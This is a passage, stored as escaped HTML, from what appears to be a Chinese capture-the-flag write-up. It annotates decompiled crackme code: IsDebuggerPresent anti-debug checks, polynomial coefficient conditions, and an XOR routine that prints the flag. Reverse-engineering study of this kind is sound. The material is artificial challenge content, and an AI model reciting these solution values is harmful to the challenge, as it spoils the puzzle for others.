&lt;/ol&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((local_c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;72&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; (local_c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;202&lt;/span&gt;&lt;/span&gt;&lt;span&gt;)) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;LAB_0040177a:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bVar1 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;  // 0x72(114)和0x202(514)不在循环中（-60~59）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;v12 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_c &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;25&lt;/span&gt;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;  // v12 = x+37&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (v12 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;37&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;span&gt;  // 如果v12&amp;lt;55 (-60&amp;lt;=x&amp;lt;18)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_28 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (ulonglong)v12;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_20 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;v5;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_29 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (v5 &lt;/span&gt;&lt;span&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span&gt; (local_28 &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;3f&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;span&gt;  // 检查v5的(v12%64)位是否为1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; ((&lt;/span&gt;&lt;span&gt;bool&lt;/span&gt;&lt;span&gt;)local_29) &lt;/span&gt;&lt;span&gt;goto&lt;/span&gt;&lt;span&gt; LAB_0040177a;&lt;/span&gt;&lt;span&gt;  // 如果v5的(v12%64)位为1 跳转到LAB_0040177a&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;bVar1 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (bVar1) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;span&gt;  // 反调试&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;// result是多项式在当前local_c的值的结果&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (result &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;span&gt;  // 结果!=0则结束，也就是说，在某些特定的local_c，多项式结果必须为0&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Those aren&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;t the right numbers. Try again!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (result &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;span&gt;  // 反调试&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Those aren&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;t the right numbers. Try again!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;return&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;puts&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;This program is being debugged. Exiting!&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;/* WARNING: Subroutine does not return */&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;exit&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;37&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;显示更多&lt;/span&gt;&lt;span&gt;显示更少&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;循环（120次求值）正常结束（满足特定的local_c=0且没有调试）后的处理：&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_00408060 &lt;/span&gt;&lt;span&gt;!=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;span&gt;  //如果最后一个数字(c8)不为1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (local_14 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; local_14 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;; local_14 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_14 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;span&gt;  //所有系数除以c8(令c8=1)&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs)[local_14] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;)(&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;coeffs)[local_14] &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; DAT_00408060;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;BVar3 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;IsDebuggerPresent&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;span&gt;  // 反调试&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (BVar3 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_0040805c &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;25e&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;span&gt;  //检查 c7=-606&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (DAT_00408058 &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;ac52&lt;/span&gt;&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;span&gt;  //检查 c6=44114&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;printf&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;Correct! Here&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;s the flag: &quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;// 准备输出flag&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_48 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; coeffs;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_44 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DAT_00408044;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_40 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DAT_00408048;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_3c &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; DAT_0040804c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_38 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408050;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_36 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408054;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_34 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408058;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_32 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_0040805c;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;local_30 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (undefined2)DAT_00408060;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;memcpy&lt;/span&gt;&lt;span&gt;(local_88,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;local_48,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1a&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;memcpy&lt;/span&gt;&lt;span&gt;(local_6e,&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;local_48,&lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;1a&lt;/span&gt;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;for&lt;/span&gt;&lt;span&gt; (local_18 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;; local_18 &lt;/span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;0x&lt;/span&gt;&lt;span&gt;34&lt;/span&gt;&lt;/span&gt;&lt;span&gt;; local_18 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; local_18 &lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;//  异或解密并输出&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;local_88&lt;/span&gt;&lt;span&gt;[local_18] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;xorcode)[local_18] &lt;/span&gt;&lt;span&gt;^&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;local_88&lt;/span&gt;&lt;span&gt;[local_18];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;                &lt;/span&gt;&lt;span&gt;putchar&lt;/span&gt;&lt;span&gt;((&lt;/span&gt;&lt;span&gt;uint&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;local_88&lt;/span&gt;&lt;span&gt;[local_18]);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;            &lt;/span&gt;&lt;span&gt;putchar&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;            &lt;/span&gt;&lt;/span&gt;&lt;span&gt;iVar2 &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;        &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; 